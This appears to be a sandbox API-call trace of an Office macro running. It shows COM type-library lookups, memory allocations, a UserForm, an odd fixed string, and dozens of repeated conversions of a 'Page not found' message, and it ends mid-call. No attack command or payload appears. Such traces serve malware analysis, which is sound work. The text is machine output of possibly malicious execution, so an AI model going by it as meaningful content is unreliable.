ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x8, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x9, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xa, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xb, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xc, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xd, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xe, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xf, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x10, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x11, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x12, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x13, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x14, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x15, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.236] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.236] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.236] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de560 [0120.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de680 [0120.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de6a0 [0120.236] IUnknown:QueryInterface (in: This=0x2764b8e9810, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3408 | out: ppvObject=0xb5690f3408*=0x0) returned 0x80004002 [0120.236] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9810, ppTypeAttr=0xb5690f3400, pDummy=0xb5690f3408 | out: ppTypeAttr=0xb5690f3400, pDummy=0xb5690f3408*=0x0) returned 0x0 [0120.236] IUnknown:QueryInterface (in: This=0x2764b8e9810, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3388 | out: ppvObject=0xb5690f3388*=0x0) returned 0x80004002 [0120.236] IUnknown:AddRef (This=0x2764b8e9810) returned 0x2 [0120.236] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9810, ppTypeAttr=0xb5690f3380, pDummy=0xb5690f3388 | out: ppTypeAttr=0xb5690f3380, pDummy=0xb5690f3388*=0x0) returned 0x0 [0120.236] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9810) returned 0x0 [0120.236] IUnknown:Release (This=0x2764b8e9810) returned 0x1 [0120.237] strcpy_s (in: _Dst=0x2764ba55d50, _DstSize=0x2b, _Src="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY" | out: _Dst="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 0x0 [0120.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa0) returned 0x2764ae5a3c0 [0120.237] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9810, ppTypeAttr=0xb5690f3340, pDummy=0x2764b8e9810 | out: ppTypeAttr=0xb5690f3340, pDummy=0x2764b8e9810*=0xe81ef308) returned 0x0 [0120.237] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2764b8e9810, ppTLib=0xb5690f3348, pIndex=0xb5690f3388 | out: ppTLib=0xb5690f3348*=0x2764b866340, pIndex=0xb5690f3388*=0x50) returned 0x0 [0120.237] ITypeLib:RemoteGetLibAttr (in: This=0x2764b866340, ppTLibAttr=0xb5690f3038, pDummy=0x0 | out: ppTLibAttr=0xb5690f3038, pDummy=0x0) returned 0x0 [0120.237] ITypeLib:RemoteGetDocumentation (in: This=0x2764b866340, index=-1, refPtrFlags=0x690f3050, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSForms", cchWideChar=8, lpMultiByteStr=0xb5690f31d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSForms", lpUsedDefaultChar=0x0) returned 8 [0120.237] IUnknown:AddRef (This=0x2764b866340) returned 0x5 [0120.237] ITypeLib:LocalReleaseTLibAttr (This=0x2764b866340) returned 0x0 [0120.237] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c9080 [0120.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba55550 [0120.237] IUnknown:AddRef (This=0x2764b8e9810) returned 0x2 [0120.237] IUnknown:Release (This=0x2764b866340) returned 0x5 [0120.237] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9810) returned 0x0 [0120.237] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9810) returned 0x0 [0120.237] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3408 | out: ppvObject=0xb5690f3408*=0x0) returned 0x80004002 [0120.237] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f3400, pDummy=0xb5690f3408 | out: ppTypeAttr=0xb5690f3400, pDummy=0xb5690f3408*=0x0) returned 0x0 [0120.237] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3388 | out: ppvObject=0xb5690f3388*=0x0) returned 0x80004002 [0120.237] IUnknown:AddRef (This=0x2763bec4828) returned 0x3 [0120.237] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f3380, pDummy=0xb5690f3388 | out: ppTypeAttr=0xb5690f3380, pDummy=0xb5690f3388*=0x0) returned 0x0 [0120.237] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.237] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.237] strcpy_s (in: _Dst=0x2764ba55e00, _DstSize=0x9, _Src="UserForm" | out: _Dst="UserForm") returned 0x0 [0120.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x110) returned 0x2764b7557e0 [0120.237] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f3340, pDummy=0x2763bec4828 | out: ppTypeAttr=0xb5690f3340, pDummy=0x2763bec4828*=0xe81ef308) returned 0x0 [0120.237] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2763bec4828, ppTLib=0xb5690f3348, pIndex=0xb5690f3388 | out: ppTLib=0xb5690f3348*=0x2764b866b80, pIndex=0xb5690f3388*=0x0) returned 0x0 [0120.238] ITypeLib:RemoteGetLibAttr (in: This=0x2764b866b80, ppTLibAttr=0xb5690f3038, pDummy=0x0 | out: ppTLibAttr=0xb5690f3038, pDummy=0x0) returned 0x0 [0120.238] ITypeLib:RemoteGetDocumentation (in: This=0x2764b866b80, index=-1, refPtrFlags=0x690f3050, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F3Dynamic", cchWideChar=10, lpMultiByteStr=0xb5690f31d0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F3Dynamic", lpUsedDefaultChar=0x0) returned 10 [0120.238] strcpy_s (in: _Dst=0x2764b1638f0, _DstSize=0xa, _Src="F3Dynamic" | out: _Dst="F3Dynamic") returned 0x0 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba55790 [0120.238] IUnknown:AddRef (This=0x2764b866b80) returned 0x4 [0120.238] ITypeLib:LocalReleaseTLibAttr (This=0x2764b866b80) returned 0x0 [0120.238] IUnknown:AddRef (This=0x2763bec4828) returned 0x3 [0120.238] IUnknown:Release (This=0x2764b866b80) returned 0x4 [0120.238] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.238] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.238] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9de6c0 [0120.238] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.238] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6c0) [0120.238] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x10) returned 0x2764b9de6c0 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455df240 [0120.238] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b72ddc0, cb=0xc0) returned 0x2764ba4eda0 [0120.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42c7a, cbMultiByte=4, lpWideCharStr=0xb5690f49f0, cchWideChar=5 | out: lpWideCharStr="Tag") returned 4 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b409820 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f220 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a630 [0120.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a640 [0120.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f850 [0120.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa4500 [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.239] malloc (_Size=0x58) returned 0x276527c9f20 [0120.239] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] malloc (_Size=0x58) returned 0x276527c9f20 [0120.240] free (_Block=0x276527c9f20) [0120.240] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa19b0, cb=0x100) returned 0x2764b841e20 [0120.241] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.242] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b700c50, cb=0x400) returned 0x2764b50bcb0 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b48c, cbMultiByte=97, lpWideCharStr=0x27666161146, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b4fc, cbMultiByte=97, lpWideCharStr=0x2766616185e, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b56c, cbMultiByte=97, lpWideCharStr=0x27666161f76, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b5dc, cbMultiByte=97, lpWideCharStr=0x2766616268e, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b64c, cbMultiByte=97, lpWideCharStr=0x27666162da6, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b6bc, cbMultiByte=97, lpWideCharStr=0x276661634be, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b72c, cbMultiByte=97, lpWideCharStr=0x27666163bd6, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.242] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27666170000 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b79c, cbMultiByte=97, lpWideCharStr=0x27666170364, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b80c, cbMultiByte=97, lpWideCharStr=0x27666170a7c, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b87c, cbMultiByte=97, lpWideCharStr=0x27666171194, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b8ec, cbMultiByte=97, lpWideCharStr=0x276661718ac, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b95c, cbMultiByte=97, lpWideCharStr=0x27666171fc4, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b9cc, cbMultiByte=97, lpWideCharStr=0x276661726dc, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05ba3c, cbMultiByte=97, lpWideCharStr=0x27666172df4, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05baac, cbMultiByte=97, lpWideCharStr=0x2766617350c, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bb1c, cbMultiByte=97, lpWideCharStr=0x27666173c24, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.244] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x276455dee40, cb=0x60) returned 0x2764ba24a80 [0120.244] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27666180000 [0120.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bb8c, cbMultiByte=97, lpWideCharStr=0x27666180364, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bbfc, cbMultiByte=97, lpWideCharStr=0x27666180a7c, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bc6c, cbMultiByte=97, lpWideCharStr=0x27666181194, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bcdc, cbMultiByte=97, lpWideCharStr=0x276661818ac, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bd4c, cbMultiByte=97, lpWideCharStr=0x27666181fc4, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bdbc, cbMultiByte=97, lpWideCharStr=0x276661826dc, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05be2c, cbMultiByte=97, lpWideCharStr=0x27666182df4, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05be9c, cbMultiByte=97, lpWideCharStr=0x2766618350c, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bf0c, cbMultiByte=97, lpWideCharStr=0x27666183c24, cchWideChar=196 | out: lpWideCharStr=" Page not found This question was voluntarily removed by its author. ") returned 97 [0120.246] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27666190000 [0120.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42c9e, cbMultiByte=12, lpWideCharStr=0xb5690f4b50, cchWideChar=13 | out: lpWideCharStr="Application") returned 12 [0120.247] ITypeComp:RemoteBind (in: This=0x276454bf8b0, szName="Application", lHashVal=0x402aa5, wFlags=0x3, ppTInfo=0xb5690f4b08, pDescKind=0xb5690f4b1c, ppFuncDesc=0xb5690f4b20, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xb5690f4b08*=0x0, pDescKind=0xb5690f4b1c*=0, ppFuncDesc=0xb5690f4b20, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0120.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42c9e, cbMultiByte=12, lpWideCharStr=0xb5690f4b50, cchWideChar=13 | out: lpWideCharStr="Application") returned 12 [0120.247] ITypeComp:RemoteBind (in: This=0x276454c2cf0, szName="Application", lHashVal=0x402aa5, wFlags=0x3, ppTInfo=0xb5690f4b08, pDescKind=0xb5690f4b1c, ppFuncDesc=0xb5690f4b20, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xb5690f4b08*=0x2764af38560, pDescKind=0xb5690f4b1c*=4, ppFuncDesc=0xb5690f4b20, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0120.258] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38560, ppTypeAttr=0xb5690f4b10, pDummy=0x2764b7f9ef8 | out: ppTypeAttr=0xb5690f4b10, pDummy=0x2764b7f9ef8*=0xfffffffe) returned 0x0 [0120.258] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38560) returned 0x0 [0120.259] ITypeInfo:GetRefTypeInfo (in: This=0x2764af38560, hreftype=0xbd80, ppTInfo=0xb5690f45f8 | out: ppTInfo=0xb5690f45f8*=0x2764af38560) returned 0x0 [0120.259] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f47c8 | out: ppvObject=0xb5690f47c8*=0x0) returned 0x80004002 [0120.259] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38560, ppTypeAttr=0xb5690f4648, pDummy=0xb5690f47c8 | out: ppTypeAttr=0xb5690f4648, pDummy=0xb5690f47c8*=0x0) returned 0x0 [0120.259] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38560) returned 0x0 [0120.259] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb0a610, cb=0x20) returned 0x2764b95f250 [0120.259] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb0a630, cb=0x28) returned 0x2764b95f970 [0120.259] IUnknown:Release (This=0x2764af38560) returned 0x2 [0120.259] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa4500, cb=0x100) returned 0x2764b845ef0 [0120.259] IUnknown:Release (This=0x2764af38560) returned 0x2 [0120.259] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f49f8 | out: ppvObject=0xb5690f49f8*=0x0) returned 0x80004002 [0120.259] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1d1c48*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f48d0 | out: ppvObject=0xb5690f48d0*=0x0) returned 0x80004002 [0120.259] IUnknown:Release (This=0x2764af38560) returned 0x2 [0120.259] IUnknown:AddRef (This=0x2764af38560) returned 0x3 [0120.259] ITypeInfo:LocalReleaseVarDesc (This=0x2764af38560) returned 0x0 [0120.259] IUnknown:Release (This=0x2764af38560) returned 0x2 [0120.260] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c38 | out: ppvObject=0xb5690f4c38*=0x0) returned 0x80004002 [0120.260] IUnknown:AddRef (This=0x2764af38560) returned 0x3 [0120.260] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b841e20, cb=0x200) returned 0x2764b700c50 [0120.260] IUnknown:Release (This=0x2764af38560) returned 0x3 [0120.260] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4da8 | out: ppvObject=0xb5690f4da8*=0x0) returned 0x80004002 [0120.260] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4da0 | out: ppvObject=0xb5690f4da0*=0x0) returned 0x80004002 [0120.262] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f58 | out: ppvObject=0xb5690f4f58*=0x0) returned 0x80004002 [0120.262] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f60 